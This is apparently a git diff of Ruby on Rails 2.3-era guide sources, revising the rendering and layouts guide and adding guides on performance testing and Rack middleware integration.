+ActionView::TemplateHandlers+. This guide does not dig into that process, but it's important to know that the file extension on your view controls the choice of template handler. In Rails 2, the standard extensions are +.erb+ for ERB (HTML with embedded Ruby), +.rjs+ for RJS (javascript with embedded ruby) and +.builder+ for Builder (XML generator). You'll also find +.rhtml+ used for ERB templates and .rxml for Builder templates, but those extensions are now formally deprecated and will be removed from a future version of Rails. +NOTE: The actual rendering is done by subclasses of +ActionView::TemplateHandlers+. This guide does not dig into that process, but it's important to know that the file extension on your view controls the choice of template handler. In Rails 2, the standard extensions are +.erb+ for ERB (HTML with embedded Ruby), +.rjs+ for RJS (javascript with embedded ruby) and +.builder+ for Builder (XML generator). You'll also find +.rhtml+ used for ERB templates and +.rxml+ for Builder templates, but those extensions are now formally deprecated and will be removed from a future version of Rails. === Using +render+ @@ -57,9 +58,40 @@ This will send an empty response to the browser (though it will include any stat TIP: You should probably be using the +head+ method, discussed later in this guide, instead of +render :nothing+. This provides additional flexibility and makes it explicit that you're only generating HTTP headers. -==== Using +render+ with +:action+ +==== Rendering an Action's View -If you want to render the view that corresponds to a different action within the same template, you can use +render+ with the +:action+ option: +If you want to render the view that corresponds to a different action within the same template, you can use +render+ with the name of the view: + +[source, ruby] +------------------------------------------------------- +def update + @book = Book.find(params[:id]) + if @book.update_attributes(params[:book]) + redirect_to(@book) + else + render "edit" + end + end +end +------------------------------------------------------- +If the call to +update_attributes+ fails, calling the +update+ action in this controller will render the +edit.html.erb+ template belonging to the same controller. + +If you prefer, you can use a symbol instead of a string to specify the action to render: + +[source, ruby] +------------------------------------------------------- +def update + @book = Book.find(params[:id]) + if @book.update_attributes(params[:book]) + redirect_to(@book) + else + render :edit + end + end +end +------------------------------------------------------- + +To be explicit, you can use +render+ with the +:action+ option (though this is no longer necessary as of Rails 2.3): [source, ruby] ------------------------------------------------------- @@ -74,22 +106,34 @@ def update end ------------------------------------------------------- -If the call to +update_attributes_ fails, calling the +update+ action in this controller will render the +edit.html.erb+ template belonging to the same controller. - WARNING: Using +render+ with +:action+ is a frequent source of confusion for Rails newcomers. The specified action is used to determine which view to render, but Rails does _not_ run any of the code for that action in the controller. Any instance variables that you require in the view must be set up in the current action before calling +render+. -==== Using +render+ with +:template+ +==== Rendering an Action's Template from Another Controller -What if you want to render a template from an entirely different controller from the one that contains the action code? You can do that with the +:template+ option to +render+, which accepts the full path (relative to +app/views+) of the template to render. For example, if you're running code in an +AdminProductsController+ that lives in +app/controllers/admin+, you can render the results of an action to a template in +app/views/products+ this way: +What if you want to render a template from an entirely different controller from the one that contains the action code? You can also do that with +render+, which accepts the full path (relative to +app/views+) of the template to render. For example, if you're running code in an +AdminProductsController+ that lives in +app/controllers/admin+, you can render the results of an action to a template in +app/views/products+ this way: + +[source, ruby] +------------------------------------------------------- +render 'products/show' +------------------------------------------------------- + +Rails knows that this view belongs to a different controller because of the embedded slash character in the string. If you want to be explicit, you can use the +:template+ option (which was required on Rails 2.2 and earlier): [source, ruby] ------------------------------------------------------- render :template => 'products/show' ------------------------------------------------------- -==== Using +render+ with +:file+ +==== Rendering an Arbitrary File -If you want to use a view that's entirely outside of your application (perhaps you're sharing views between two Rails applications), you can use the +:file+ option to +render+: +The +render+ method can also use a view that's entirely outside of your application (perhaps you're sharing views between two Rails applications): + +[source, ruby] +------------------------------------------------------- +render "/u/apps/warehouse_app/current/app/views/products/show" +------------------------------------------------------- + +Rails determines that this is a file render because of the leading slash character. To be explicit, you can use the +:file+ option (which was required on Rails 2.2 and earlier): [source, ruby] ------------------------------------------------------- @@ -98,7 +142,9 @@ render :file => "/u/apps/warehouse_app/current/app/views/products/show" The +:file+ option takes an absolute file-system path. Of course, you need to have rights to the view that you're using to render the content. -NOTE: By default, if you use the +:file+ option, the file is rendered without using the current layout. If you want Rails to put the file into the current layout, you need to add the +:layout => true+ option +NOTE: By default, the file is rendered without using the current layout. If you want Rails to put the file into the current layout, you need to add the +:layout => true+ option. + +TIP: If you're running on Microsoft Windows, you should use the +:file+ option to render a file, because Windows filenames do not have the same format as Unix filenames. ==== Using +render+ with +:inline+ @@ -313,7 +359,7 @@ With those declarations, the +inventory+ layout would be used only for the +inde Layouts are shared downwards in the hierarchy, and more specific layouts always override more general ones. For example: -+application.rb+: ++application_controller.rb+: [source, ruby] ------------------------------------------------------- @@ -931,10 +977,59 @@ Rails determines the name of the partial to use by looking at the model name in In this case, Rails will use the customer or employee partials as appropriate for each member of the collection. +=== Using Nested Layouts + +You may find that your application requires a layout that differs slightly from your regular application layout to support one particular controller. Rather than repeating the main layout and editing it, you can accomplish this by using nested layouts (sometimes called sub-templates). Here's an example: + +Suppose you have the follow ApplicationController layout: + ++app/views/layouts/application.erb+ + +[source, html] +------------------------------------------------------- + + + <%= @page_title %><title> + <% stylesheet_tag 'layout' %> + <style type="text/css"><%= yield :stylesheets %></style> +<head> +<body> + <div id="top_menu">Top menu items here</div> + <div id="menu">Menu items here</div> + <div id="main"><%= yield %></div> +</body> +</html> +------------------------------------------------------- + +On pages generated by NewsController, you want to hide the top menu and add a right menu: + ++app/views/layouts/news.erb+ + +[source, html] +------------------------------------------------------- +<% content_for :stylesheets do %> + #top_menu {display: none} + #right_menu {float: right; background-color: yellow; color: black} +<% end -%> +<% content_for :main %> + <div id="right_menu">Right menu items here</div> + <%= yield %> + <% end -%> +<% render :file => 'layouts/application' %> +------------------------------------------------------- + +NOTE: In versions of Rails before Rails 2.3, you should use +render \'layouts/applications\'+ instead of +render :file => \'layouts/applications\'+ + +That's it. The News views will use the new layout, hiding the top menu and adding a new right menu inside the "content" div. + +There are several ways of getting similar results with differents sub-templating schemes using this technique. Note that there is no limit in nesting levels. One can use the +ActionView::render+ method via +render \'layouts/news\'+ to base a new layout on the News layout. + == Changelog == http://rails.lighthouseapp.com/projects/16213-rails-guides/tickets/15[Lighthouse ticket] +* December 27, 2008: Merge patch from Rodrigo Rosenfeld Rosas covering subtemplates +* December 27, 2008: Information on new rendering defaults by link:../authors.html#mgunderloy[Mike Gunderloy] * November 9, 2008: Added partial collection counter by link:../authors.html#mgunderloy[Mike Gunderloy] * November 1, 2008: Added +:js+ option for +render+ by link:../authors.html#mgunderloy[Mike Gunderloy] * October 16, 2008: Ready for publication by link:../authors.html#mgunderloy[Mike Gunderloy] diff --git a/vendor/rails/railties/doc/guides/source/migrations/index.txt b/vendor/rails/railties/doc/guides/source/migrations/index.txt index be183e85..1670b731 100644 --- a/vendor/rails/railties/doc/guides/source/migrations/index.txt +++ b/vendor/rails/railties/doc/guides/source/migrations/index.txt @@ -1,7 +1,7 @@ Migrations ========== -Migrations are a convenient way for you to alter your database in a structured and organised manner. You could edit fragments of SQL by hand but you would then be responsible for telling other developers that they need to go and run it. You'd also have to keep track of which changes need to be run against the production machines next time you deploy. Active Record tracks which migrations have already been run so all you have to do is update your source and run `rake db:migrate`. Active Record will work out which migrations should be run. +Migrations are a convenient way for you to alter your database in a structured and organised manner. You could edit fragments of SQL by hand but you would then be responsible for telling other developers that they need to go and run it. You'd also have to keep track of which changes need to be run against the production machines next time you deploy. Active Record tracks which migrations have already been run so all you have to do is update your source and run `rake db:migrate`. Active Record will work out which migrations should be run. It will also update your db/schema.rb file to match the structure of your database. Migrations also allow you to describe these transformations using Ruby. The great thing about this is that (like most of Active Record's functionality) it is database independent: you don't need to worry about the precise syntax of CREATE TABLE any more that you worry about variations on SELECT * (you can drop down to raw SQL for database specific features). For example you could use SQLite3 in development, but MySQL in production. diff --git a/vendor/rails/railties/doc/guides/source/migrations/rakeing_around.txt b/vendor/rails/railties/doc/guides/source/migrations/rakeing_around.txt index 6d8c43d7..b01451d5 100644 --- a/vendor/rails/railties/doc/guides/source/migrations/rakeing_around.txt +++ b/vendor/rails/railties/doc/guides/source/migrations/rakeing_around.txt @@ -2,6 +2,8 @@ Rails provides a set of rake tasks to work with migrations which boils down to running certain sets of migrations. The very first migration related rake task you use will probably be `db:migrate`. In its most basic form it just runs the `up` method for all the migrations that have not yet been run. If there are no such migrations it exits. +Note that running the `db:migrate` also invokes the `db:schema:dump` task, which will update your db/schema.rb file to match the structure of your database. + If you specify a target version, Active Record will run the required migrations (up or down) until it has reached the specified version. The version is the numerical prefix on the migration's filename. For example to migrate to version 20080906120000 run diff --git a/vendor/rails/railties/doc/guides/source/performance_testing.txt b/vendor/rails/railties/doc/guides/source/performance_testing.txt new file mode 100644 index 00000000..250cf290 --- /dev/null +++ b/vendor/rails/railties/doc/guides/source/performance_testing.txt @@ -0,0 +1,560 @@ +Performance Testing Rails Applications +====================================== + +This guide covers the various ways of performance testing a Ruby on Rails application. By referring to this guide, you will be able to: + +* Understand the various types of benchmarking and profiling metrics +* Generate performance and benchmarking tests +* Use a GC-patched Ruby binary to measure memory usage and object allocation +* Understand the benchmarking information provided by Rails inside the log files +* Learn about various tools facilitating benchmarking and profiling + +Performance testing is an integral part of the development cycle. It is very important that you don't make your end users wait for too long before the page is completely loaded. Ensuring a pleasant browsing experience for end users and cutting the cost of unnecessary hardware is important for any non-trivial web application. + +== Performance Test Cases == + +Rails performance tests are a special type of integration tests, designed for benchmarking and profiling the test code. With performance tests, you can determine where your application's memory or speed problems are coming from, and get a more in-depth picture of those problems. + +In a freshly generated Rails application, +test/performance/browsing_test.rb+ contains an example of a performance test: + +[source, ruby] +---------------------------------------------------------------------------- +require 'test_helper' +require 'performance_test_help' + +# Profiling results for each test method are written to tmp/performance. +class BrowsingTest < ActionController::PerformanceTest + def test_homepage + get '/' + end +end +---------------------------------------------------------------------------- + +This example is a simple performance test case for profiling a GET request to the application's homepage. + +=== Generating performance tests === + +Rails provides a generator called +performance_test+ for creating new performance tests: + +[source, shell] +---------------------------------------------------------------------------- +script/generate performance_test homepage +---------------------------------------------------------------------------- + +This generates +homepage_test.rb+ in the +test/performance+ directory: + +[source, ruby] +---------------------------------------------------------------------------- +require 'test_helper' +require 'performance_test_help' + +class HomepageTest < ActionController::PerformanceTest + # Replace this with your real tests. + def test_homepage + get '/' + end +end +---------------------------------------------------------------------------- + +=== Examples === + +Let's assume your application has the following controller and model: + +[source, ruby] +---------------------------------------------------------------------------- +# routes.rb +map.root :controller => 'home' +map.resources :posts + +# home_controller.rb +class HomeController < ApplicationController + def dashboard + @users = User.last_ten(:include => :avatars) + @posts = Post.all_today + end +end + +# posts_controller.rb +class PostsController < ApplicationController + def create + @post = Post.create(params[:post]) + redirect_to(@post) + end +end + +# post.rb +class Post < ActiveRecord::Base + before_save :recalculate_costly_stats + + def slow_method + # I fire gallzilion queries sleeping all around + end + + private + + def recalculate_costly_stats + # CPU heavy calculations + end +end +---------------------------------------------------------------------------- + +==== Controller Example ==== + +Because performance tests are a special kind of integration test, you can use the +get+ and +post+ methods in them. + +Here's the performance test for +HomeController#dashboard+ and +PostsController#create+: + +[source, ruby] +---------------------------------------------------------------------------- +require 'test_helper' +require 'performance_test_help' + +class PostPerformanceTest < ActionController::PerformanceTest + def setup + # Application requires logged-in user + login_as(:lifo) + end + + def test_homepage + get '/dashboard' + end + + def test_creating_new_post + post '/posts', :post => { :body => 'lifo is fooling you' } + end +end +---------------------------------------------------------------------------- + +You can find more details about the +get+ and +post+ methods in the link:../testing_rails_applications.html#mgunderloy[Testing Rails Applications] guide. + +==== Model Example ==== + +Even though the performance tests are integration tests and hence closer to the request/response cycle by nature, you can still performance test pure model code. + +Performance test for +Post+ model: + +[source, ruby] +---------------------------------------------------------------------------- +require 'test_helper' +require 'performance_test_help' + +class PostModelTest < ActionController::PerformanceTest + def test_creation + Post.create :body => 'still fooling you', :cost => '100' + end + + def test_slow_method + # Using posts(:awesome) fixture + posts(:awesome).slow_method + end +end +---------------------------------------------------------------------------- + +=== Modes === + +Performance tests can be run in two modes : Benchmarking and Profiling. + +==== Benchmarking ==== + +Benchmarking helps find out how fast each performance test runs. Each test case is run +4 times+ in benchmarking mode. + +To run performance tests in benchmarking mode: + +[source, shell] +---------------------------------------------------------------------------- +$ rake test:benchmark +---------------------------------------------------------------------------- + +==== Profiling ==== + +Profiling helps you see the details of a performance test and provide an in-depth picture of the slow and memory hungry parts. Each test case is run +1 time+ in profiling mode. + +To run performance tests in profiling mode: + +[source, shell] +---------------------------------------------------------------------------- +$ rake test:profile +---------------------------------------------------------------------------- + +=== Metrics === + +Benchmarking and profiling run performance tests in various modes described below. + +==== Wall Time ==== + +Wall time measures the real world time elapsed during the test run. It is affected by any other processes concurrently running on the system. + +Mode : Benchmarking + +==== Process Time ==== + +Process time measures the time taken by the process. It is unaffected by any other processes running concurrently on the same system. Hence, process time is likely to be constant for any given performance test, irrespective of the machine load. + +Mode : Profiling + +==== Memory ==== + +Memory measures the amount of memory used for the performance test case. + +Mode : Benchmarking, Profiling [xref:gc[Requires GC-Patched Ruby]] + +==== Objects ==== + +Objects measures the number of objects allocated for the performance test case. + +Mode : Benchmarking, Profiling [xref:gc[Requires GC-Patched Ruby]] + +==== GC Runs ==== + +GC Runs measures the number of times GC was invoked for the performance test case. + +Mode : Benchmarking [xref:gc[Requires GC-Patched Ruby]] + +==== GC Time ==== + +GC Time measures the amount of time spent in GC for the performance test case. + +Mode : Benchmarking [xref:gc[Requires GC-Patched Ruby]] + +=== Understanding the output === + +Performance tests generate different outputs inside +tmp/performance+ directory depending on their mode and metric. + +==== Benchmarking ==== + +In benchmarking mode, performance tests generate two types of outputs : + +===== Command line ===== + +This is the primary form of output in benchmarking mode. Example : + +[source, shell] +---------------------------------------------------------------------------- +BrowsingTest#test_homepage (31 ms warmup) + wall_time: 6 ms + memory: 437.27 KB + objects: 5514 + gc_runs: 0 + gc_time: 19 ms +---------------------------------------------------------------------------- + +===== CSV files ===== + +Performance test results are also appended to +.csv+ files inside +tmp/performance+. For example, running the default +BrowsingTest#test_homepage+ will generate following five files : + + - BrowsingTest#test_homepage_gc_runs.csv + - BrowsingTest#test_homepage_gc_time.csv + - BrowsingTest#test_homepage_memory.csv + - BrowsingTest#test_homepage_objects.csv + - BrowsingTest#test_homepage_wall_time.csv + +As the results are appended to these files each time the performance tests are run in benchmarking mode, you can collect data over a period of time. This can be very helpful in analyzing the effects of code changes. + +Sample output of +BrowsingTest#test_homepage_wall_time.csv+: + +[source, shell] +---------------------------------------------------------------------------- +measurement,created_at,app,rails,ruby,platform +0.00738224999999992,2009-01-08T03:40:29Z,,2.3.0.master.0744148,ruby-1.8.6.110,i686-darwin9.0.0 +0.00755874999999984,2009-01-08T03:46:18Z,,2.3.0.master.0744148,ruby-1.8.6.110,i686-darwin9.0.0 +0.00762099999999993,2009-01-08T03:49:25Z,,2.3.0.master.0744148,ruby-1.8.6.110,i686-darwin9.0.0 +0.00603075000000008,2009-01-08T04:03:29Z,,2.3.0.master.0744148,ruby-1.8.6.111,i686-darwin9.1.0 +0.00619899999999995,2009-01-08T04:03:53Z,,2.3.0.master.0744148,ruby-1.8.6.111,i686-darwin9.1.0 +0.00755449999999991,2009-01-08T04:04:55Z,,2.3.0.master.0744148,ruby-1.8.6.110,i686-darwin9.0.0 +0.00595999999999997,2009-01-08T04:05:06Z,,2.3.0.master.0744148,ruby-1.8.6.111,i686-darwin9.1.0 +0.00740450000000004,2009-01-09T03:54:47Z,,2.3.0.master.859e150,ruby-1.8.6.110,i686-darwin9.0.0 +0.00603150000000008,2009-01-09T03:54:57Z,,2.3.0.master.859e150,ruby-1.8.6.111,i686-darwin9.1.0 +0.00771250000000012,2009-01-09T15:46:03Z,,2.3.0.master.859e150,ruby-1.8.6.110,i686-darwin9.0.0 +---------------------------------------------------------------------------- + +==== Profiling ==== + +In profiling mode, you can choose from four types of output. + +===== Command line ===== + +This is a very basic form of output in profiling mode: + +[source, shell] +---------------------------------------------------------------------------- +BrowsingTest#test_homepage (58 ms warmup) + process_time: 63 ms + memory: 832.13 KB + objects: 7882 +---------------------------------------------------------------------------- + +===== Flat ===== + +Flat output shows the total amount of time spent in each method. http://ruby-prof.rubyforge.org/files/examples/flat_txt.html[Check ruby prof documentation for a better explanation]. + +===== Graph ===== + +Graph output shows how long each method takes to run, which methods call it and which methods it calls. http://ruby-prof.rubyforge.org/files/examples/graph_txt.html[Check ruby prof documentation for a better explanation]. + +===== Tree ===== + +Tree output is profiling information in calltree format for use by http://kcachegrind.sourceforge.net/html/Home.html[kcachegrind] and similar tools. + +=== Tuning Test Runs === + +By default, each performance test is run +4 times+ in benchmarking mode and +1 time+ in profiling. However, test runs can easily be configured. + +CAUTION: Performance test configurability is not yet enabled in Rails. But it will be soon. + +=== Performance Test Environment === + +Performance tests are run in the +development+ environment. But running performance tests will set the following configuration parameters: + +[source, shell] +---------------------------------------------------------------------------- +ActionController::Base.perform_caching = true +ActiveSupport::Dependencies.mechanism = :require +Rails.logger.level = ActiveSupport::BufferedLogger::INFO +---------------------------------------------------------------------------- + +As +ActionController::Base.perform_caching+ is set to +true+, performance tests will behave much as they do in the +production+ environment. + +[[gc]] +=== Installing GC-Patched Ruby === + +To get the best from Rails performance tests, you need to build a special Ruby binary with some super powers - http://rubyforge.org/tracker/download.php/1814/7062/17676/3291/ruby186gc.patch[GC patch] for measuring GC Runs/Time and memory/object allocation. + +The process is fairly straight forward. If you've never compiled a Ruby binary before, follow these steps to build a ruby binary inside your home directory: + +==== Installation ==== + +Compile Ruby and apply this http://rubyforge.org/tracker/download.php/1814/7062/17676/3291/ruby186gc.patch[GC Patch]: + +==== Download and Extract ==== + +[source, shell] +---------------------------------------------------------------------------- +[lifo@null ~]$ mkdir rubygc +[lifo@null ~]$ wget <download the latest stable ruby from ftp://ftp.ruby-lang.org/pub/ruby> +[lifo@null ~]$ tar -xzvf <ruby-version.tar.gz> +[lifo@null ~]$ cd <ruby-version> +---------------------------------------------------------------------------- + +==== Apply the patch ==== + +[source, shell] +---------------------------------------------------------------------------- +[lifo@null ruby-version]$ curl http://rubyforge.org/tracker/download.php/1814/7062/17676/3291/ruby186gc.patch | patch -p0 +---------------------------------------------------------------------------- + +==== Configure and Install ==== + +The following will install ruby in your home directory's +/rubygc+ directory. Make sure to replace +<homedir>+ with a full patch to your actual home directory. + +[source, shell] +---------------------------------------------------------------------------- +[lifo@null ruby-version]$ ./configure --prefix=/<homedir>/rubygc +[lifo@null ruby-version]$ make && make install +---------------------------------------------------------------------------- + +==== Prepare aliases ==== + +For convenience, add the following lines in your +~/.profile+: + +---------------------------------------------------------------------------- +alias gcruby='~/rubygc/bin/ruby' +alias gcrake='~/rubygc/bin/rake' +alias gcgem='~/rubygc/bin/gem' +alias gcirb='~/rubygc/bin/irb' +alias gcrails='~/rubygc/bin/rails' +---------------------------------------------------------------------------- + +==== Install rubygems and dependency gems ==== + +Download http://rubyforge.org/projects/rubygems[Rubygems] and install it from source. Rubygem's README file should have necessary installation instructions. + +Additionally, install the following gems : + + * +rake+ + * +rails+ + * +ruby-prof+ + * +rack+ + * +mysql+ + +If installing +mysql+ fails, you can try to install it manually: + +[source, shell] +---------------------------------------------------------------------------- +[lifo@null mysql]$ gcruby extconf.rb --with-mysql-config +[lifo@null mysql]$ make && make install +---------------------------------------------------------------------------- + +And you're ready to go. Don't forget to use +gcruby+ and +gcrake+ aliases when running the performance tests. + +== Command Line Tools == + +Writing performance test cases could be an overkill when you are looking for one time tests. Rails ships with two command line tools that enable quick and dirty performance testing: + +=== benchmarker === + ++benchmarker+ is a wrapper around Ruby's http://ruby-doc.org/core/classes/Benchmark.html[Benchmark] module. + +Usage: + +[source, shell] +---------------------------------------------------------------------------- +$ script/performance/benchmarker [times] 'Person.expensive_way' 'Person.another_expensive_way' ... +---------------------------------------------------------------------------- + +Examples: + +[source, shell] +---------------------------------------------------------------------------- +$ script/performance/benchmarker 10 'Item.all' 'CouchItem.all' +---------------------------------------------------------------------------- + +If the +[times]+ argument is omitted, supplied methods are run just once: + +[source, shell] +---------------------------------------------------------------------------- +$ script/performance/benchmarker 'Item.first' 'Item.last' +---------------------------------------------------------------------------- + +=== profiler === + ++profiler+ is a wrapper around http://ruby-prof.rubyforge.org/[ruby-prof] gem. + +Usage: + +[source, shell] +---------------------------------------------------------------------------- +$ script/performance/profiler 'Person.expensive_method(10)' [times] [flat|graph|graph_html] +---------------------------------------------------------------------------- + +Examples: + +[source, shell] +---------------------------------------------------------------------------- +$ script/performance/profiler 'Item.all' +---------------------------------------------------------------------------- + +This will profile +Item.all+ in +RubyProf::WALL_TIME+ measure mode. By default, it prints flat output to the shell. + +[source, shell] +---------------------------------------------------------------------------- +$ script/performance/profiler 'Item.all' 10 graph +---------------------------------------------------------------------------- + +This will profile +10.times { Item.all }+ with +RubyProf::WALL_TIME+ measure mode and print graph output to the shell. + +If you want to store the output in a file: + +[source, shell] +---------------------------------------------------------------------------- +$ script/performance/profiler 'Item.all' 10 graph 2> graph.txt +---------------------------------------------------------------------------- + +== Helper methods == + +Rails provides various helper methods inside Active Record, Action Controller and Action View to measure the time taken by a given piece of code. The method is called +benchmark()+ in all the three components. + +=== Model === + +[source, ruby] +---------------------------------------------------------------------------- +Project.benchmark("Creating project") do + project = Project.create("name" => "stuff") + project.create_manager("name" => "David") + project.milestones << Milestone.find(:all) +end +---------------------------------------------------------------------------- + +This benchmarks the code enclosed in the +Project.benchmark("Creating project") do..end+ block and prints the result to the log file: + +[source, ruby] +---------------------------------------------------------------------------- +Creating project (185.3ms) +---------------------------------------------------------------------------- + +Please refer to the http://api.rubyonrails.com/classes/ActiveRecord/Base.html#M001336[API docs] for additional options to +benchmark()+ + +=== Controller === + +Similarly, you could use this helper method inside http://api.rubyonrails.com/classes/ActionController/Benchmarking/ClassMethods.html#M000715[controllers] + +NOTE: +benchmark+ is a class method inside controllers + +[source, ruby] +---------------------------------------------------------------------------- +def process_projects + self.class.benchmark("Processing projects") do + Project.process(params[:project_ids]) + Project.update_cached_projects + end +end +---------------------------------------------------------------------------- + +=== View === + +And in http://api.rubyonrails.com/classes/ActionController/Benchmarking/ClassMethods.html#M000715[views]: + +[source, ruby] +---------------------------------------------------------------------------- +<% benchmark("Showing projects partial") do %> + <%= render :partial => @projects %> +<% end %> +---------------------------------------------------------------------------- + +== Request Logging == + +Rails log files contain very useful information about the time taken to serve each request. Here's a typical log file entry: + +[source, ruby] +---------------------------------------------------------------------------- +Processing ItemsController#index (for 127.0.0.1 at 2009-01-08 03:06:39) [GET] +Rendering template within layouts/items +Rendering items/index +Completed in 5ms (View: 2, DB: 0) | 200 OK [http://0.0.0.0/items] +---------------------------------------------------------------------------- + +For this section, we're only interested in the last line: + +[source, ruby] +---------------------------------------------------------------------------- +Completed in 5ms (View: 2, DB: 0) | 200 OK [http://0.0.0.0/items] +---------------------------------------------------------------------------- + +This data is fairly straightforward to understand. Rails uses millisecond(ms) as the metric to measures the time taken. The complete request spent 5 ms inside Rails, out of which 2 ms were spent rendering views and none was spent communication with the database. It's safe to assume that the remaining 3 ms were spent inside the controller. + +Michael Koziarski has an http://www.therailsway.com/2009/1/6/requests-per-second[interesting blog post] explaining the importance of using milliseconds as the metric. + +== Useful Links == + +=== Rails Plugins and Gems === + +* http://rails-analyzer.rubyforge.org/[Rails Analyzer] +* http://www.flyingmachinestudios.com/projects/[Palmist] +* http://github.com/josevalim/rails-footnotes/tree/master[Rails Footnotes] +* http://github.com/dsboulder/query_reviewer/tree/master[Query Reviewer] + +=== Generic Tools === + +* http://www.hpl.hp.com/research/linux/httperf[httperf] +* http://httpd.apache.org/docs/2.2/programs/ab.html[ab] +* http://jakarta.apache.org/jmeter[JMeter] +* http://kcachegrind.sourceforge.net/html/Home.html[kcachegrind] + +=== Tutorials and Documentation === + +* http://ruby-prof.rubyforge.org[ruby-prof API Documentation] +* http://railscasts.com/episodes/98-request-profiling[Request Profiling Railscast] - Outdated, but useful for understanding call graphs + +== Commercial Products == + +Rails has been lucky to have three startups dedicated to Rails specific performance tools: + +* http://www.newrelic.com[New Relic] +* http://www.fiveruns.com[Fiveruns] +* http://scoutapp.com[Scout] + +== Changelog == + +http://rails.lighthouseapp.com/projects/16213-rails-guides/tickets/4[Lighthouse ticket] + +* January 9, 2009: Complete rewrite by link:../authors.html#lifo[Pratik] +* September 6, 2008: Initial version by Matthew Bergman diff --git a/vendor/rails/railties/doc/guides/source/rails_on_rack.txt b/vendor/rails/railties/doc/guides/source/rails_on_rack.txt new file mode 100644 index 00000000..6526117c --- /dev/null +++ b/vendor/rails/railties/doc/guides/source/rails_on_rack.txt @@ -0,0 +1,256 @@ +Rails on Rack +============= + +This guide covers Rails integration with Rack and interfacing with other Rack components. By referring to this guide, you will be able to: + + * Create Rails Metal applications + * Use Rack Middlewares in your Rails applications + * Understand Action Pack's internal Middleware stack + * Define custom internal Middleware stack + * Understand the best practices for developing a middleware aimed at Rails applications + +NOTE: This guide assumes a working knowledge of Rack protocol and Rack concepts such as middlewares, url maps and Rack::Builder. + +== Introduction to Rack == + +**** +Rack provides a minimal, modular and adaptable interface for developing web applications in Ruby. By wrapping HTTP requests and responses in the simplest way possible, it unifies and distills the API for web servers, web frameworks, and software in between (the so-called middleware) into a single method call. + +- http://rack.rubyforge.org/doc[Rack API Documentation] +**** + +Explaining Rack is not really in the scope of this guide. In case you are not familiar with Rack's basics, you should check out the following links: + +* http://rack.github.com[Official Rack Website] +* http://chneukirchen.org/blog/archive/2007/02/introducing-rack.html[Introducing Rack] +* http://m.onkey.org/2008/11/17/ruby-on-rack-1[Ruby on Rack #1 - Hello Rack!] +* http://m.onkey.org/2008/11/18/ruby-on-rack-2-rack-builder[Ruby on Rack #2 - The Builder] + +== Rails on Rack == + +=== ActionController::Dispatcher.new === + ++ActionController::Dispatcher.new+ is the primary Rack application object of a Rails application. It responds to +call+ method with a single +env+ argument and returns a Rack response. Any Rack compliant web server should be using +ActionController::Dispatcher.new+ object to serve a Rails application. + +=== script/server === + ++script/server+ does the basic job of creating a +Rack::Builder+ object and starting the webserver. This is Rails equivalent of Rack's +rackup+ script. + +Here's how +script/server+ creates an instance of +Rack::Builder+ + +[source, ruby] +---------------------------------------------------------------------------- +app = Rack::Builder.new { + use Rails::Rack::LogTailer unless options[:detach] + use Rails::Rack::Static + use Rails::Rack::Debugger if options[:debugger] + run ActionController::Dispatcher.new +}.to_app +---------------------------------------------------------------------------- + +Middlewares used in the code above are most useful in development envrionment. The following table explains their usage: + +[options="header"] +|========================================================================================================== +|Middleware |Purpose +|Rails::Rack::LogTailer | Appends log file output to console +|Rails::Rack::Static | Serves static files inside +RAILS_ROOT/public+ directory +|Rails::Rack::Debugger | Starts Debugger +|========================================================================================================== + +=== rackup === + +To use +rackup+ instead of Rails' +script/server+, you can put the following inside +config.ru+ of your Rails application's root directory: + +[source, ruby] +---------------------------------------------------------------------------- +# RAILS_ROOT/config.ru +require "config/environment" + +use Rails::Rack::LogTailer +use Rails::Rack::Static +run ActionController::Dispatcher.new +---------------------------------------------------------------------------- + +And start the server: + +[source, shell] +---------------------------------------------------------------------------- +[lifo@null application]$ rackup +---------------------------------------------------------------------------- + +To find out more about different +rackup+ options: + +[source, shell] +---------------------------------------------------------------------------- +[lifo@null application]$ rackup --help +---------------------------------------------------------------------------- + +== Action Controller Middleware Stack == + +Many of Action Controller's internal components are implemented as Rack middlewares. +ActionController::Dispatcher+ uses +ActionController::MiddlewareStack+ to combine various internal and external middlewares to form a complete Rails Rack application. + +.What is ActionController::MiddlewareStack ? +NOTE: +ActionController::MiddlewareStack+ is Rails equivalent of +Rack::Builder+, but built for better flexibility and more features to meet Rails' requirements. + +=== Inspecting Middleware Stack === + +Rails has a handy rake task for inspecting the middleware stack in use: + +[source, shell] +---------------------------------------------------------------------------- +$ rake middleware +---------------------------------------------------------------------------- + +For a freshly generated Rails application, this will produce: + +[source, ruby] +---------------------------------------------------------------------------- +use ActionController::Lock +use ActionController::Failsafe +use ActiveRecord::QueryCache +use ActionController::Session::CookieStore, {:secret=>"<secret>", :session_key=>"_<app>_session"} +use Rails::Rack::Metal +use ActionController::VerbPiggybacking +run ActionController::Dispatcher.new +---------------------------------------------------------------------------- + +=== Adding Middlewares === + +Rails provides a very simple configuration interface for adding generic Rack middlewares to a Rails applications. + +Here's how you can add middlewares via +environment.rb+ + +[source, ruby] +---------------------------------------------------------------------------- +# environment.rb + +config.middleware.use Rack::BounceFavicon +---------------------------------------------------------------------------- + +=== Internal Middleware Stack === + +[source, ruby] +---------------------------------------------------------------------------- +use "ActionController::Lock", :if => lambda { + !ActionController::Base.allow_concurrency +} + +use "ActionController::Failsafe" + +use "ActiveRecord::QueryCache", :if => lambda { defined?(ActiveRecord) } + +["ActionController::Session::CookieStore", + "ActionController::Session::MemCacheStore", + "ActiveRecord::SessionStore"].each do |store| + use(store, ActionController::Base.session_options, + :if => lambda { + if session_store = ActionController::Base.session_store + session_store.name == store + end + } + ) +end + +use ActionController::VerbPiggybacking +---------------------------------------------------------------------------- + +[options="header"] +|========================================================================================================== +|Middleware |Purpose +|ActionController::Lock | Sets +env["rack.multithread"]+ flag to +true+ and wraps the application within a Mutex. +|ActionController::Failsafe | Returns HTTP Status +500+ to the client if an exception gets raised while dispatching. +|ActiveRecord::QueryCache | Enable the Active Record query cache. +|ActionController::Session::CookieStore | Uses the cookie based session store. +|ActionController::Session::MemCacheStore | Uses the memcached based session store. +|ActiveRecord::SessionStore | Uses the database based session store. +|ActionController::VerbPiggybacking | Sets HTTP method based on +_method+ parameter or +env["HTTP_X_HTTP_METHOD_OVERRIDE"]+. +|========================================================================================================== + +=== Customizing Internal Middleware Stack === + +VERIFY THIS WORKS. Just a code dump at the moment. + +Put the following in an initializer. +[source, ruby] +---------------------------------------------------------------------------- +ActionController::Dispatcher.middleware = ActionController::MiddlewareStack.new do |m| + m.use ActionController::Lock + m.use ActionController::Failsafe + m.use ActiveRecord::QueryCache + m.use ActionController::Session::CookieStore + m.use ActionController::VerbPiggybacking +end 